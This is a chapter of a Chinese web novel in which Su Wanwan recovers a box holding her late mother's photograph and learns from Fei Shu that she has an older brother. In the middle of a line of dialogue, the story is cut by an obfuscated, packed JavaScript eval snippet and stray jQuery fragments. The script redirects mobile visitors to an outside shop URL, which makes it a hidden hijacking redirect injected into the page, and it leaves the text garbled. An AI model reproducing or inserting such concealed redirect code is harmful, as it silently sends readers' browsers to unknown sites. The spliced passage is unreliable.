天快黑的时候，费叔把车停在一栋老式砖房前面。
房子不大，两层，外墙刷了一层淡黄色的涂料，被雨水冲刷得只剩下斑驳的底色。院子里种着一棵桂花树，树干有碗口粗，树冠撑开一片圆形的阴影，落在地面上像一把撑开的旧伞。树下放着一张竹椅，椅面上搭着一件洗得泛白的蓝布褂子，像是有人刚从身上脱下来随手搭在上面的。
费叔熄了火，拔了钥匙，把安全带解开：“到了。”
苏晚晚推开车门，西川傍晚的风迎面扑来，干爽的，带着桂花的香气和远处农田里焚烧秸秆的焦味。桂花香是那种糯糯的甜，夹在风里一阵一阵地飘过来，像有人在用一把细密的筛子来回地筛。她站在院门口，看见那棵桂花树底下零星地铺了几朵淡黄色的小花，落在灰砖地上，像一小撮被风吹散的碎金。
一个中年妇女从屋里走出来，系着围裙，围裙上沾着几片干了的葱叶。她看见费叔，笑起来，眼角的皱纹挤成一团：“来了？”然后目光转向苏晚晚，上下打量了一下，“就是秋姐说的那个姑娘？”
费叔点头：“老周嫂，这是苏小姐。麻烦你照顾几天。”
“不麻烦不麻烦。”老周嫂把手在围裙上擦了擦，走过来拉住苏晚晚的手腕，手很粗糙，骨节突出，但掌心是温热的，“快进来，饭刚做好。西川这边的饭菜你可能吃不惯，我少放了辣椒。”
苏晚晚被她拉进屋里。进门时她瞥见老周嫂挽起的袖口下露出一道旧疤，从手腕内侧斜着延伸上去，颜色已经淡了，像一条褪色的线。
客厅不大，摆着一张八仙桌和几条长凳，桌上的菜冒着热气——一碟腊肉炒蒜薹，一碟干煸四季豆，一碗西红柿蛋汤，还有一小碟泡萝卜，切得很薄，泡得透亮，边缘微微泛红。老周嫂给她盛了一碗米饭，用公筷夹了一块腊肉放到她碗里：“尝尝，自家熏的，不比城里那些高档货差。”
苏晚晚低头吃了一口。腊肉咸香，肥而不腻，在舌尖上化开，带出一股淡淡的柏树枝熏烤的焦香味，和她记忆里多年前一种食物的味道叠在一起——那时候母亲还在，过年前也会熏腊肉，挂在厨房的横梁上，风干之后切成薄片，炒在蒜薹里也是这个味。她嚼了很久，才咽下去。
“好吃。”她说。
老周嫂笑着又给她夹了一块：“多吃点，看你瘦的。”
吃完饭，老周嫂收拾碗筷，费叔在院子里打电话，声音压得很低，听不清在说些什么。苏晚晚站在厨房门口，看老周嫂把碗筷放进一个搪瓷盆里，倒热水，挤洗洁精。她注意到老周嫂洗锅的动作——先是手腕一转把锅底刷干净，然后再顺着锅沿绕一圈，像是被刻进肌肉记忆里的流程。老周嫂一边洗碗一边问她：“来西川办事啊？”
“嗯，找人。”
“找到了吗？”
“还没开始找。”
老周嫂把洗好的碗倒扣在沥水架上，在围裙上擦干了手，转过身来看着她。灯光下，她的脸被笼在一层暖黄的光里，轮廓柔和，像一张被岁月磨过很多遍的照片。“西川这个地方，山高路远，有些东西藏在里面，很难找。但也正因为藏得深，才不容易被别人拿走。”
苏晚晚没有接话。
老周嫂走到灶台边，揭开一个瓦罐的盖子，用勺子舀了一碗汤递过来：“桂圆红枣汤，自己煮的，喝完早点休息。费叔说你这几天累。”
苏晚晚接过碗，低头喝了一口。汤很甜，红枣已经煮得软烂，桂圆的香味从舌根处漫开，一路暖到胃里。
洗完澡，她被安排住在二楼靠楼梯口的那间房。房间不大，一张木床，一张写字台，窗户对着院子里的桂花树。她坐在床边，把帆布包打开，把三个信封并排摆在写字台上——航空边线的白信封、父亲的信、秋姨的机票。
她没有打开任何一个。只是把它们摆在那里，像三件被她随手搁在桌面上的、暂时不需要去碰的东西。
然后她伸手从帆布包底层摸出那张西川银行的支票，放在三个信封旁边。
孙秀芝。
她在心里把这个名字念了一遍。母亲的亲笔签名，在支票的签名栏里待了三年，像一枚被卡在时间缝隙里的印章。她想不明白，母亲为什么要留一张两百万的支票给她，而且是在她结婚后第三个月——那段时间她正在为傅衍之准备第一次结婚纪念日的晚餐，一个人去菜市场挑了一上午的菜，回来的时候发现厨房的灯坏了，自己去五金店买了灯泡换上。那是她婚后最普通的某一天。而那张支票，就是在那个普通的日子里签下的。
母亲一定知道些什么。也许是知道傅衍之不会对她好，也许是知道那段婚姻迟早要散。但母亲没有告诉她，只是把钱存进了银行，把支票封好，写上了她的名字，然后放进了一个航空边线的白信封里。
苏晚晚伸手把支票拿起来，举到台灯下。纸张很薄，笔迹在背光的照射下有轻微的凸起。她顺着笔画的走向用手指轻轻滑过，像在读盲文。
手机震了一下。
秋姨：“到了？”
“到了。”她回道。
“费叔安排好了？”
“安排好了。”
“明天早上，老周嫂会带你去一个地方。你跟着她走就行。”
苏晚晚看着那行字，打了几个字又删掉，最后只回了一个“好”字。
她放下手机，在写字台前又坐了一会儿。窗外的桂花香被风从没关严的窗缝里推进来，在房间里缓缓地扩散开。她把支票折好，放回信封里，然后把四个信封摞在一起，塞回帆布包最底层。
然后她站起来，走到窗边，把窗户推开一条缝，让更多的桂花香涌进来。院子的路灯亮着，昏黄的光照在桂花树上，在砖地上投下一片斑驳的影。树影的边缘在风里微微晃动，像某种缓慢的、有节奏的呼吸。苏晚晚隔着那道影，往院子里看了一眼——什么也没有，只有桂花树枝在风里轻轻摇了一下，送来一阵更浓的香。
她关窗，走到床边坐下，靠在床头，闭上眼睛。
过了很久，她睁眼，拿起手机，翻了翻通讯录，停在一个没有备注名的号码上——锦城本地的，给她发过“生日快乐”的那条短信。她点进那条消息，又看了一遍那五个字。然后退出，把手机放在枕头底下。
她躺下来，看着天花板。
天花板被路灯照出一个浅灰色的矩形，边缘模糊，像一扇没有被完全关上门的窗。她看了一会儿，闭上眼睛，听见楼下费叔的车发动了，引擎声渐行渐远，消失在夜色的深处。然后四周安静下来，只剩桂花树在风里沙沙地响着，像有人在不远处翻一本厚书。
第二天早上六点，天刚亮透，老周嫂就来敲她的门。
“苏小姐，起了吗？”
苏晚晚其实早就醒了，正坐在床边，把帆布包里的东西重新整理了一遍。听到敲门声，她应了一声，站起来去开门。老周嫂站在门口，手里拿了一个用塑料袋包着的馒头，还冒着热气：“早饭。路上吃。”
苏晚晚接过馒头，道了谢。老周嫂已经转身往楼下走，边走边说：“车在门口了，你跟着老王走就行。他认得路。”
苏晚晚拿着馒头下了楼。院门口停着一辆摩托车，灰蓝色的，油箱上有一道长长的刮痕，露着底漆。一个瘦高的中年男人跨坐在车上，戴着草帽，帽檐压得很低，只能看到被晒成棕色的下巴和下巴上一条浅淡的旧疤痕。他看见苏晚晚出来，点了点头，没说话。
苏晚晚跨上后座，把帆布包横抱在胸前。
老王等她坐稳了，拧了一把油门，摩托车发出一阵低沉的轰鸣，驶出院门，沿着一条水泥路往前开去。路两边是连片的稻田，稻穗已经泛黄了，在晨风里一层一层地翻涌过去。偶尔有一两只白鹭从田埂上飞起来，拍着翅膀，在空中划一个很大的弧度，然后落在更远的田埂上。
风吹在脸上，凉丝丝的，带着湿润的草木气息。苏晚晚把那半个馒头吃完，把塑料袋塞进口袋里，一只手抱住帆布包，一只手抓住后座的铁架。路面开始变成砂石路，车胎碾过碎石，发出细碎的嚓嚓声。
摩托车拐了三个弯以后，路变得更窄了。两边的树开始密集起来，树冠在头顶交汇，把天空遮成一条窄长的灰蓝色的带子。空气里的湿度开始升高，温度降下来，有一种进入山谷时才会有的阴凉感。
又过了大约二十分钟，老王在一处山坡脚下停了车。他熄火，一只脚支在地上，回头看了一眼苏晚晚：“前面车进不去了，要走路。顺着这条小路往上走，走到头，有一棵歪脖子柿子树。树底下有一个石头垒的矮墙，墙后面就是。”
苏晚晚下了车，背着帆布包，沿着那条仅容纳一个人通过的小路往上走。路面是泥土的，被雨水冲刷出了深深的沟壑，有些地方很滑。她踩在路边的草根上借力，一步一步地往上爬。
走了大概十分钟，小路在一棵柿子树前面到了尽头。树不高，树干斜着伸出去，像被风拧成了那个角度。树上的柿子还是青的，硬邦邦地挂在枝头，在风里微微地晃着。树底下果然有一道矮墙，用河石和黄泥垒起来的，约莫半人高，墙面上爬满了青苔，摸上去又滑又凉。
她绕过那堵矮墙。
墙后面是一个小土包的阴面，草丛没过了她的脚踝。土包的底部，有一块石板，石板的边缘长了一圈细长的蕨类植物，叶片上挂着露珠，在光线下闪着细润的光。石板没有完全盖住，露出了底下大约两指宽的缝隙。苏晚晚蹲下来，试探着把手伸进那道缝隙里——指尖触到了什么，木质的东西，表面有一层薄薄的灰。她摸到边缘，往外拉。
是一个木盒子。不大，比一般的鞋盒小一圈，盒盖漆成了深棕色，漆面已经斑驳了，露出底下灰白的木头。盒盖没有锁，只用一根红绳绕了两圈，在侧面打了一个结。她拉了一下那个结，绳结很紧，绕了两圈，嵌在绳子本身的纹路里，像被时间拧死了。
她坐在土包前面的草坡上，把木盒子放在膝盖上，低头看着那个红绳结。绳子的颜色已经褪得差不多了，只剩一丝极淡的朱红嵌在纤维的纹理里，像一截被水洗了很多遍的红绸。她伸手捏住绳结的一头，轻轻地往外抽。
红绳松开了。
她把绳子放在膝盖上，用手指挑开盒盖。
里面是一张照片。黑白相纸，尺寸不大，边角有些发白。照片上是一个年轻的女人，头发梳成两根辫子，垂在胸前，穿一件碎花衬衫。她偏着头，眼睛弯成两道月牙，眼尾有一颗很小的痣。身后是一片稻田，田埂上站着一个模糊的人影，看不清脸，只有一身深色的中山装和一顶草帽的轮廓。
苏晚晚看着那张照片，没有眨眼睛。那个女人是她母亲——不是她记忆里的母亲。她记忆里的母亲很少笑，总是低着头干活，说话的声音很轻，像怕打扰到什么人。而这张照片里的女人，笑得毫不收敛，像一个在太阳底下站了很久的人，终于等到了摄影师按下快门的那一瞬间。她似乎从未见过母亲那样笑。
她把照片翻过来。
背面有一行字，蓝色圆珠笔，字迹很小，像写字的人在有限的空白里把话挤了进去——
“晚晚，妈这一辈子，只做对了一件事。那件事，在费叔那里。”
她看着那行字。指腹停在“费叔那里”那四个字上。良久，她把照片翻到正面，看着母亲那张笑着的脸。
阳光透过树冠的缝隙洒下来，在她手背上落下一枚圆形的光斑。她把照片贴在胸口的位置，按了一下，站起来。
老王还在山坡脚下等她，看到苏晚晚走下来，他掐灭了烟头，弹进路边的草丛里。
苏晚晚走到他面前，站定。
“费叔住哪儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741876|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
老王看了她一眼，下巴朝山下那个镇子的方向扬了一下：“镇子东头，白房子。你回去跟老周嫂说一声，她知道。”他顿了一下，又说，“费叔等这封信等了很多年。你拿着照片去找他，他就知道了。”
苏晚晚回到老周嫂家的时候，天色还早，院子里的桂花树把阳光筛成碎片，落在台阶上一晃一晃的。
老周嫂正在院子里晒被子，把被套抖开铺在晾衣绳上，用夹子夹住四个角，拍了拍，回头看见苏晚晚站在院门口，目光落在她手里的木盒子上。她没问里面是什么，只把湿漉漉的手在围裙上擦了擦：“饭在锅里，还热着。”
苏晚晚站在台阶下，没有进去吃饭的意思。“周嫂，费叔住在镇子东头？”
老周嫂的手在围裙上停了一下，然后继续擦了两下，像是早就知道她会问这个问题。“白房子，门口种了两棵柚子树，很好认。”她顿了一下，“他这会儿应该在。中午他总要眯一觉，但今天他起得早，在院子里劈柴。”
苏晚晚点头，把木盒子抱在怀里，往镇子东头走去。
镇子不大，东西走向一条主街，两边是低矮的砖房，有些门口摆着竹椅，老太太坐在上面择菜，看见苏晚晚走过，抬头看了一眼，又低下头去。空气里飘着柴火燃烧的气味和晒干了的辣椒味，混在一起，像这个镇子自带的某种底色。
她走了七八分钟，果然看见一栋刷成白色的房子，不大，两层，门口长着两棵柚子树，树干有碗口粗，树冠撑得很开，像是种了很多年了。柚子树底下堆着一小堆劈好的木柴，码得很整齐，长短一致，裂口平整，像拿尺子量过才落的斧子。
费叔果然在院子里。他坐在一个小马扎上，手里握着一把柴刀，正在修一根树枝的枝杈，把细细的分叉一根一根地削掉，削得很慢，也很仔细，像在处理一件很要紧的东西。他听到脚步声，没有抬头，只是把削好的那根树枝搁在脚边，把柴刀放在石板上。
“来了。”他说。声音不高，也不意外。
苏晚晚走到他面前，蹲下来，把木盒子放在两人之间的地面上，盒盖朝上，红绳已经解开。
费叔看了一眼那个盒子，没有伸手去碰。他伸出那只拿柴刀的手——手上有一层厚实的茧，虎口处有一道很深的旧疤，刀刃留下的痕迹。他用指背在木盒盖的边缘轻轻敲了两下，像在确认这个东西还在、不是幻觉。
然后他收了手，搁在膝盖上。
“你妈走那年，你多大？”
“六岁。”
“六岁。”费叔重复了一遍这两个字，像是在把这个数字含在嘴里过了一下，然后吐出来，“她走之前，来我这里坐了一个下午。没说什么话，就坐在这棵柚子树底下。”他伸手往上指了指，“那时候树还没这么大，刚种下两年，树干只有我手腕粗。”
苏晚晚没有说话。她把木盒子的盖子打开，露出那张黑白照片，正面朝上，让费叔看到母亲笑弯了的眼睛和那颗眼尾的小痣。费叔低头看了一眼，喉头动了一下，视线从照片上移开，落到柚子树根部的泥土上——那里有一个浅浅的坑，像是被雨水反复冲刷后留下的。他沉默了片刻，然后重新开口。
“她把照片交给我的时候，让我保管好。”他的声音被风压得很轻，像怕隔墙有耳，“她说，等到晚晚长大了，自己来找我的那一天，再把这个盒子给她。”
“费叔。”苏晚晚的声音不高，但很稳，“我妈说的‘那件事’是什么？”
费叔没有立刻回答。他站起来，转身走进屋里。苏晚晚听见他在屋里翻东西的声音——抽屉拉开的声响，纸张被翻动的声音，然后是一个铁皮盒子合上的金属撞击声。他走出来的时候，手里多了一个牛皮纸信封，没有封口，鼓鼓囊囊的。
他在苏晚晚面前重新蹲下来，把那个信封放在木盒子旁边，然后站起来，拍了拍膝盖上的灰。
“你母亲在西川留下的东西，不止那张照片。”他说，“她还留下了一个人。”
苏晚晚抬头看着他。他的表情被树影切成明暗两半，目光停在很远的地方，又像什么也没在看。风从院子口灌进来，轻轻推了推柚子树，落下一两片叶子。
她感觉风停了。或者说，她把风关在了外面。
“你还有一个哥哥。”费叔说。
苏晚晚的瞳孔在那两秒里放大了，又收了回来。她张了张嘴，一个字没有说出来。
“他比你大五岁。你母亲走的时候，把他送到一个地方寄养。之后的事情，我没有再过问。”他顿了一下，侧过头，目光终于落在苏晚晚身上，语气平稳，像在说一件压了很多年终于能说出口的事，“我只知道他最后在哪里。地址写在那封信里。”
苏晚晚低头看着那个牛皮纸信封，没有立刻去拿。树影在她手指上晃动，像有看不见的手在轻轻翻动一页没有写完的纸。她伸手去拿信封。边角干燥，边缘起毛，封口没有粘死，露出一角白色的纸。她把它抽出来。是一张写了几行字的信纸，最顶部写着一个地址——西川省南溪镇，下河村，七组。底下是一行略小的字，笔迹有些抖，像写字的人写完最后一个字时手已经撑不住了：“他姓陈。他叫陈冬至。”
苏晚晚看着那个名字。陈冬至。二十四年前，农历冬至那天出生的。她想起了母亲那张照片，那张笑起来眼睛弯成两道月牙的脸，想起了费叔说过的话——你母亲走之前，来我这里坐了一个下午。她好像忽然明白了母亲在那个沉默的下午里，一直面对着的，是怎样的抉择。
她把信纸折好，放回信封里，把信封放进木盒子中，盖好盖子，抱在胸前。
“费叔，下河村离这里多远？”
费叔没有回答这个问题。他只说了一句话，声音不高，像石头被水冲刷后被太阳晒干了：“去了就知道了。”